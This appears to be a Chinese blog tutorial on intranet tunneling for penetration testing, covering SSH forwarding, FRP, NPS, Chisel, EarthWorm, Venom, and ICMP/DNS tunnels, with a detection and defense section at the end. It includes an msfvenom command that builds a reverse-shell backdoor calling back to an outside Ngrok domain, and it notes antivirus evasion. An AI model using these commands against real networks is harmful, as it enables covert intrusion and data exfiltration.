ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

内网隧道搭建

2026/8/5 10:03:34 拓冰建站 浏览量
内网隧道搭建 一、概述在内网渗透场景中攻击者面临的第一个技术难题通常是网络连通性——目标主机处于内网环境无法直接出网或被外部访问。隧道技术Tunneling正是解决这一问题的核心手段通过建立一条隐蔽的通信通道将内网流量代理到外部或将外部攻击流量引入内网。[1]核心定义隧道技术是指将一种网络协议的数据封装在另一种协议中传输从而绕过网络边界限制如防火墙、NAT、ACL的技术手段。在内网渗透中隧道主要用于实现内网穿透、端口转发、流量代理和隐蔽通信。隧道技术的本质是封装的层级跃迁——将应用层数据封装在传输层协议中或将传输层数据封装在更底层的协议如ICMP、DNS中。这种协议嵌套使得流量能够越过传统防火墙基于端口和协议的过滤策略在看似合法的通信中隐藏恶意流量。二、SSH隧道技术SSH隧道是最基础且最常用的隧道技术。它基于SSH协议的安全加密通道通过端口转发机制实现内网穿透无需额外安装任何工具——几乎所有Linux服务器和Windows 10系统都内置了SSH功能。2.1 本地端口转发Local Port Forwarding本地端口转发将远程内网主机的服务端口映射到攻击者本地的端口。当攻击者访问本地的指定端口时流量会通过SSH隧道转发到目标内网主机。# 将远程内网主机 10.0.0.5:3389 映射到本地 1234 端口 ssh -L 1234:10.0.0.5:3389 uservps-ip # 访问本地的 1234 端口即相当于访问内网主机的 3389 端口 # 在本地使用 RDP 连接 127.0.0.1:1234 即可远程桌面到内网主机典型场景攻击者已获得VPS的SSH凭据VPS可以访问目标内网。通过本地端口转发攻击者将内网主机的RDP/MySQL/Redis等服务映射到本地实现坐在家里访问内网。2.2 远程端口转发Remote Port Forwarding / 反向隧道远程端口转发是内网穿透的核心手段。当内网主机能出网、但外部无法主动连接内网时内网主机主动发起SSH连接到外网VPS并将自身的服务端口映射到VPS的端口上。# 在内网主机上执行将本地 22 端口映射到 VPS 的 2222 端口 ssh -R 2222:localhost:22 uservps-ip # 在 VPS 上执行连接 VPS 的 2222 端口即连接到了内网主机的 SSH ssh -p 2222 user127.0.0.1使用autossh可以建立稳定的反向隧道自动重连断开后的连接# 在 /etc/ssh/sshd_config 中设置 GatewayPorts yes 后重启 sshd autossh -M 0 -N -R 2222:localhost:22 uservps-ip2.3 动态端口转发Dynamic Port Forwarding / SOCKS代理动态端口转发在本地创建一个SOCKS代理服务器所有通过该代理的流量都会经过SSH隧道转发到远程主机再由远程主机访问目标网络。# 在本地 1080 端口创建一个 SOCKS5 代理 ssh -D 1080 uservps-ip # 配置浏览器或 proxychains 使用 socks5://127.0.0.1:1080 # 此时所有流量先到 VPS再由 VPS 访问目标2.4 三种转发模式对比转发模式SSH参数流量方向典型场景本地转发-L 本地端口:目标IP:目标端口本地 → SSH服务器 → 目标主机访问VPS所在内网的服务远程转发-R 远程端口:目标IP:目标端口SSH服务器 ← 内网主机 → 目标内网穿透让外部访问内网服务动态转发-D 本地端口本地 → SSH服务器 → 任意目标全局代理访问内网所有资源三、专业隧道工具SSH隧道虽然便捷但在复杂网络环境下存在局限性——不支持UDP转发、缺乏Web管理界面、难以构建多级级联。专业隧道工具弥补了这些不足提供了更丰富的协议支持和更灵活的拓扑结构。3.1 FRP — 高性能反向代理FRPFast Reverse Proxy是当前最流行的内网穿透工具之一由Go语言开发支持TCP、UDP、HTTP、HTTPS等多种协议配置简单且性能优异。服务端配置frps.tomlbindPort 7000 # FRP 服务端监听端口客户端配置frpc.tomlserverAddr 47.94.236.117 serverPort 7000 [[proxies]] name socks5-proxy type tcp remotePort 6000 [proxies.plugin] type socks5启动后攻击端通过socks5://vps-ip:6000即可代理进入内网。FRP支持加密、压缩、自定义认证令牌等安全特性适合长期稳定的隧道维持。3.2 NPS — 带Web管理的轻量级代理NPSNPS Proxy Server在FRP基础上增加了Web管理面板支持通过图形界面管理客户端、隧道和流量统计。支持TCP、UDP转发、SOCKS5代理、P2P等多种模式。# 服务端安装 ./nps install # 安装为系统服务 ./nps # 启动默认Web管理端口 8080admin/123 登录 # 客户端连接 ./npc -server47.94.236.117:8024 -vkey生成的密钥在Web面板中创建客户端后可以灵活添加端口转发、SOCKS5代理等隧道无需手动修改配置文件大幅降低了运维复杂度。3.3 Ngrok — 快速穿透与调试Ngrok是最早流行的内网穿透服务之一提供商业化的隧道服务适合快速将本地Web服务暴露到公网。支持HTTP/HTTPS/TCP协议对于开发调试和演示场景非常便捷。# 使用Ngrok平台提供的客户端连接隧道 ./sunny clientid 133328291918 # 生成后门时使用Ngrok提供的域名作为回连地址 msfvenom -p windows/meterpreter/reverse_tcp \ lhostfree.idcfengye.com lport10134 -f exe -o tcp.exe注意Ngrok商业版需要实名认证且收费免费隧道速度较慢且不稳定。在渗透测试场景中自建FRP/NPS方案比依赖第三方Ngrok服务更可控。3.4 Chisel — 单文件HTTP隧道Chisel是一款基于Go语言开发的开源隧道工具单文件无依赖利用HTTP/HTTPS协议封装TCP/UDP流量。由于使用HTTP协议可以轻松穿透大多数只允许HTTP出站的防火墙。# 服务端VPS ./chisel server -p 8080 --reverse # 客户端内网主机— 反向SOCKS代理 ./chisel client vps-ip:8080 R:0.0.0.0:1080:socksChisel的优势在于其HTTP-based传输特性可以通过Web代理和CDN且单文件部署极其方便。目前使用人数较少部分杀软未能准确识别。3.5 EarthWorm (EW) — 多级端口转发EarthWorm是一款基于C语言开发的轻量级SOCKS5代理工具专为复杂网络环境下的多级数据转发设计。它体积极小约50KB支持正向和反向SOCKS5代理。# 正向SOCKS5代理内网边界主机上运行 ew -s ssocksd -l 1080 # 反向连接内网主机连接VPSVPS上开SOCKS5 # VPS: ew -s rcsocks -l 1080 -e 8888 # 内网: ew -s rssocks -d vps-ip -e 8888 # 多级级联二级代理 # VPS: ew -s lcx_listen -l 1080 -e 8888 # 服务器A: ew -s lcx_slave -d vps-ip -e 8888 -f serverB-ip -g 9999 # 服务器B: ew -s ssocksd -l 99993.6 Venom — 多级代理平台Venom是一款专为渗透测试设计的多级代理工具支持将多个节点连接形成代理链实现多层内网的穿透。# 服务端VPS ./admin_linux_x64 -lport 9999 # 客户端内网节点1 ./agent_linux_x64 -rhost vps-ip -rport 9999 # 在admin端查看节点并建立SOCKS5代理 show goto 1 socks 10803.7 工具横向对比工具协议SOCKS5多级级联Web管理UDP特点SSHTCP (SSH)支持(-D)需手动无否系统内置最基础FRPTCP/UDP/HTTP支持有限无是性能高配置灵活NPSTCP/UDP支持有限有是Web面板易管理NgrokTCP/HTTP/HTTPS否否有否SaaS服务快速穿透ChiselHTTP/HTTPS支持否无是单文件HTTP隧道EarthWormTCP支持支持无否极简多级转发VenomTCP支持原生支持无否多级代理节点管理SPPTCP/UDP/ICMP/KCP支持支持无是特殊协议支持四、特殊协议隧道在高度受限的网络环境中TCP和UDP出站可能被完全封锁但ICMP、DNS等协议往往因为业务需要或管理疏忽而未被封禁。利用这些被遗忘的协议构建隧道是突破极端网络限制的关键手段。4.1 ICMP隧道ICMP协议通常用于网络诊断ping/traceroute大多数防火墙不会拦截ICMP流量。ICMP隧道将TCP数据封装在ICMP Echo Request/Reply包中传输实现绕过防火墙的隐蔽通信。# SPP ICMP隧道示例 # 服务端VPS监听ICMP ./spp -type server -proto ricmp -listen 0.0.0.0 # 客户端内网将本地5555端口流量通过ICMP转发到VPS的80端口 ./spp -name test -type proxy_client -server vps-ip \ -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp局限ICMP隧道的带宽和稳定性远低于TCP隧道会话交互延迟高且容易断开适合小数据量的命令控制而非大规模数据传输。4.2 DNS隧道DNS隧道利用DNS查询和响应来传输数据将TCP流量编码为DNS请求A记录、TXT记录等通过DNS服务器转发。由于DNS几乎是所有网络环境中必须开放的协议DNS隧道具有极强的穿透能力。常见DNS隧道工具包括dnscat2、iodine、DNSExfiltrator等。以iodine为例# 服务端VPS需配置域名NS记录指向VPS iodined -f -P password 10.0.0.1 tunnel.example.com # 客户端内网主机 iodine -f -P password vps-ip tunnel.example.comDNS隧道的带宽通常限制在几KB/s到几十KB/s但足以支持命令执行和文件回传。在防火墙仅允许DNS出站的极端场景下DNS隧道是最后的通信手段。五、SOCKS5代理与多级级联SOCKS5代理是内网渗透中最常用的全局代理方案。与传统端口转发不同SOCKS5代理不需要为每个目标服务单独配置转发规则——攻击者通过代理链即可访问内网中的所有资源。5.1 SOCKS5代理的优势与局限SOCKS5协议工作在会话层支持TCP和UDP流量代理且支持认证。在内网渗透中通过proxychainsLinux或ProxifierWindows将攻击工具的流量导向SOCKS5代理即可实现内网自由访问。# proxychains 配置/etc/proxychains.conf [ProxyList] socks5 127.0.0.1 1080 # 使用 proxychains 代理 nmap 扫描 proxychains nmap -sT -Pn 10.0.0.0/24 # 使用 proxychains 代理 MSSQL 连接 proxychains impacket-mssqlclient sa10.0.0.5局限SOCKS5代理不支持ICMP协议因此无法使用ICMP模式的nmap扫描。部分工具对SOCKS5代理的支持不完善需要注意协议兼容性。5.2 多级级联架构在大型内网中攻击者往往需要穿越多层网络边界。多级级联Multi-hop技术通过将多个节点串联成代理链实现从攻击端到目标网络的逐层穿透。攻击者SOCKS5:1080 ---VPS (公网入口)--- 一层代理 --DMZ主机 (边界服务器)--- 二层代理 --办公网主机 (内网主机)--- 三层代理 --核心网主机 (域控/数据库)使用EarthWorm构建三级代理链# VPS公网入口监听1080端口等待连接 ew -s lcx_listen -l 1080 -e 8888 # DMZ主机一层连接VPS同时连接内网主机 ew -s lcx_slave -d vps-ip -e 8888 -f 10.0.1.100 -g 9999 # 内网主机二层在9999端口开启SOCKS5代理 ew -s ssocksd -l 9999 # 攻击者通过 proxychains socks5://vps-ip:1080 即可访问最深内网5.3 客户端代理工具工具平台特点proxychainsLinux通过LD_PRELOAD劫持网络调用强制应用流量走代理链ProxifierWindows/macOS图形化SOCKS/HTTP代理工具支持按进程/目标IP/端口规则代理SocksCap64Windows将任意程序流量强制通过SOCKS代理无需修改程序配置tsocksLinux轻量级透明SOCKS代理库通过LD_PRELOAD实现六、实战选型指南隧道工具的选择取决于目标网络环境、出网协议限制和渗透阶段的需求。以下按常见场景进行分类推荐场景推荐工具理由Linux内网穿透SSH反向隧道 autossh系统内置零部署适合快速建立临时隧道长期稳定隧道FRP / NPS高性能支持加密压缩自动重连适合长期维持仅HTTP出站ChiselHTTP协议封装可穿透严格防火墙单文件部署仅ICMP/DNS出站SPP / iodine / dnscat2利用基础协议隧道突破极端网络限制多级内网穿透EarthWorm / Venom原生支持多级级联适合复杂多层网络环境快速临时穿透Ngrok / Chisel配置简单快速上线适合临时演示和调试全局SOCKS代理FRP Proxifier组合使用实现全流量内网代理七、检测与防御隧道技术是一把双刃剑——在渗透测试和远程运维中不可或缺但同时也被大量恶意软件和APT组织用于隐蔽通信和数据外传。建立有效的检测与防御机制至关重要。7.1 检测策略检测维度关键指标检测方法异常SSH连接非工作时间的大量SSH出站连接开启GatewayPorts或反向隧道网络流量分析SSH日志审计DNS流量异常DNS请求频率异常高DNS请求包体积异常大查询非标准域名DNS流量基线分析DNS查询长度检测ICMP流量异常ICMP包体积超过正常ping大小100字节持续大量ICMP流量ICMP包大小阈值检测ICMP频率基线端口转发特征FRP/NPS/Chisel等工具的默认端口和协议特征IDS/IPS规则匹配应用层协议指纹识别代理工具检测proxychains/Proxifier等代理工具的进程特征端点EDR检测进程行为分析7.2 防御措施最小化出站策略严格限制内网主机的出站协议和端口仅放行业务必需的协议如HTTP/HTTPS到特定CDN阻断ICMP、DNS到非授权服务器的出站。DNS安全防护部署DNS安全网关检测和阻断DNS隧道流量。实施DNS查询白名单限制DNS请求的域名长度和频率。流量深度检测部署NTA网络流量分析和DPI深度包检测识别异常协议封装和隧道流量特征。建立正常的网络行为基线。端点管控在端点部署EDR监控SSH配置修改、异常端口监听、进程注入等行为。限制非管理员用户安装和运行隧道工具。八、总结内网隧道技术是渗透测试中连接内外网的桥梁。从基础的SSH端口转发到专业的多级代理平台从常规的TCP隧道到隐蔽的ICMP/DNS隧道攻击者拥有丰富的工具箱来应对各种网络限制。隧道技术的选择遵循从简到繁、从明到暗的原则优先使用SSH如果目标支持SSH出站SSH隧道是最简单可靠的选择无需在目标主机上部署额外工具FRP/NPS作为主力当需要长期维持、高性能和灵活配置时FRP和NPS是最佳选择Chisel应对HTTP限制当TCP被封锁但HTTP仍可出站时Chisel的HTTP隧道特性价值凸显特殊协议作为最后手段ICMP和DNS隧道仅在极端受限环境下使用牺牲性能换取连通性多级级联穿透深度内网EarthWorm和Venom为多层网络环境提供了原生的多级代理能力对防御者而言理解隧道技术的工作原理是建立有效检测机制的前提。流量基线分析、协议异常检测和端点监控三者结合才能有效识别和阻断隐蔽隧道通信。